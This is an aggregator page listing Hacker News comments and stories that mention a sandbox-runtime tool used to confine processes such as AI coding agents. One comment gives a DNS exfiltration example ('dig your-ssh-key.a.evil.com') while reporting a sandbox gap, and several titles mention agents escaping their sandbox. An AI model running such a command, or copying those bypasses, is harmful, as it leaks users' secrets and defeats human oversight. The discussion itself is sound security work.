Hacker GitHub

← All repos

anthropics/sandbox-runtime

View on GitHub ↗ ★ 6,915 TypeScript

A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container.

26 mentions on Hacker News by 24 people: 3 stories, 23 comments · first 2025-10-20 · latest 2026-08-11

Mentions per year 26 mentions · busiest year 2026 (19)
20082026
AllStoriesComments NewestTopOldest
  1. …classify Claude Code as a sandbox, though it does have some sandbox features built in, using https://github.com/anthropic-experimental/sandbox-runtime (which I would classify as a sandbox)
    comment by simonw · 2026-08-11 · in Claude Code is leaking real email address as a User-Agent string in curl command
  2. …wish to interact with Claude so much, I've started using Anthropic's sandbox runtime utility "srt": https://github.com/anthropic-experimental/sandbox-runtime This is combined with "auto" mode. Seems to work so far. I've manually checked…
    comment by bsdz · 2026-08-10 · in Auto mode is now the default in Claude Code
  3. …heard good things about nono [1] from colleagues, but I haven't personally tried it out yet. [0] https://github.com/anthropic-experimental/sandbox-runtime [1] https://github.com/nolabs-ai/nono
    comment by thehours · 2026-08-05 · in Pi's Minimalism Is Its Advantage
  4. …talking about how I always put agents in VMs because I don't trust them. Someone suggested `srt` ( https://github.com/anthropic-experimental/sandbox-runtime ) and I like the idea but I don't like how complicated and huge and JavaScript it…
    comment by SwellJoe · 2026-07-03 · in Ask HN: Is anyone experimenting with different ways of using LLMs for coding?
  5. …use it to contain my local coding agents. It's strict by default and enforced at the OS layer. [0] https://github.com/anthropic-experimental/sandbox-runtime
    comment by edouard-harris · 2026-07-02 · in ZCode – Harness for GLM-5.2
  6. ▲ 2
    Sandbox filesystem and network access without requiring a container
    story by selvan · 2026-04-26 · 0 comments
  7. ….env .gitconfig .gitmodules .idea .mcp.json .profile .ripgreprc .vscode .zprofile .zshrc config https://github.com/anthropic-experimental/sandbox-runtime/is...
    comment by pveierland · 2026-04-01 · in The Claude Code Source Leak: fake tools, frustration regexes, undercover mode
  8. …only support read blacklist, not a whitelist, so I forked it yesterday to support that [2]. [1] https://github.com/anthropic-experimental/sandbox-runtime [2] https://github.com/carderne/sandbox-runtime
    comment by carderne · 2026-03-09 · in Agent Safehouse – macOS-native sandboxing for local agents
  9. I opened an issue about this on day 1 of the release: https://github.com/anthropic-experimental/sandbox-runtime/is... I ended up making my own sandbox wrapper instead https://GitHub.com/arianvp/landlock-nix
    comment by arianvanp · 2026-03-03 · in Claude Code escapes its own denylist and sandbox
  10. for anyone reading this later, claude code's sandbox code is at https://github.com/anthropic-experimental/sandbox-runtime/
    comment by caspar · 2026-02-24 · in Claude Sonnet 4.6
  11. …and distributed as a bun standalone executable it's difficult to patch the bug yourself. [0]: https://github.com/anthropic-experimental/sandbox-runtime/is...
    comment by caspar · 2026-01-30 · in Claude Code daily benchmarks for degradation tracking
  12. pretty close to anthropic’s version, yes? or am I mistaken https://github.com/anthropic-experimental/sandbox-runtime
    comment by will_wright · 2026-01-25 · in Show HN: Fence – Sandbox CLI commands with network/filesystem restrictions
  13. …put all my trust in Claude Code as compared to running it completely inside some environment.. [0] https://github.com/anthropic-experimental/sandbox-runtime
    comment by alsko · 2026-01-21 · in Sandboxing – Claude Code Docs
  14. /sandbox AFAIK uses https://github.com/anthropic-experimental/sandbox-runtime under the hood. It's still experimental and if you dive into the issues I would call its protection light. Many users experiences erratic issues with perms not…
    comment by runekaagaard · 2026-01-21 · in Running Claude Code dangerously (safely)
  15. ▲ 22
    Data Exfiltration via DNS Resolution
    story by m-hodges · 2026-01-13 · 1 comment
  16. Check out https://github.com/anthropic-experimental/sandbox-runtime , which tackles this problem using the built-in userspace sandboxing on macOS and Linux. I run Claude from a mounted volume (but no reason you couldn't make a user for it…
    comment by saltypal · 2026-01-13 · in Show HN: Yolobox – Run AI coding agents with full sudo without nuking home dir
  17. …allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via…
    comment by srcreigh · 2026-01-12 · in Cowork: Claude Code for the rest of your work
  18. …with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're…
    comment by felixrieseberg · 2026-01-12 · in Cowork: Claude Code for the rest of your work
  19. …registry, then asking for a build), not prompt-injecting things like “do whatever it takes.” [1] https://github.com/anthropic-experimental/sandbox-runtime
    comment by languid-photic · 2026-01-01 · in Observed Agent Sandbox Bypasses
  20. …entire point of sandboxing, so none of what you listed would be accessible by default. Check out https://github.com/anthropic-experimental/sandbox-runtime and https://github.com/Zouuup/landrun as examples on how you could restrict agents…
    comment by thomas34298 · 2025-11-25 · in Google Antigravity exfiltrates data via indirect prompt injection attack
  21. …). also: check out the open-source sandbox runtime from Anthropic: [GitHub Repo]( https://github.com/anthropic-experimental/sandbox-runtime ). clearly i have a bias on this topic, lol
    comment by mutant · 2025-11-23 · in Show HN: Vibe coded an AI chat app with features I wanted, Poe
  22. That library is using sandbox-exec to access Seatbelt: https://github.com/anthropic-experimental/sandbox-runtime/bl...
    comment by simonw · 2025-10-23 · in The security paradox of local LLMs
  23. …be used on its own for sandboxing purposes. https://docs.claude.com/en/docs/claude-code/sandboxing https://github.com/anthropic-experimental/sandbox-runtime
    comment by knowaveragejoe · 2025-10-22 · in The security paradox of local LLMs
  24. …released a sandboxing tool based on bubblewrap (Linux, quite lightweight) and sandbox-exec (macOS). https://github.com/anthropic-experimental/sandbox-runtime I wonder if nsjails or gVisor may be useful as well. Here's a more comprehensive…
    comment by dloss · 2025-10-21 · in Show HN: Katakate – Dozens of VMs per node for safe code exec
  25. Link to the GitHub for the native sandboxing: https://github.com/anthropic-experimental/sandbox-runtime
    comment by minimaxir · 2025-10-20 · in Claude Code on the web
  26. ▲ 5
    Anthropic Sandbox Runtime (Srt)
    story by lawrencechen · 2025-10-20 · 1 comment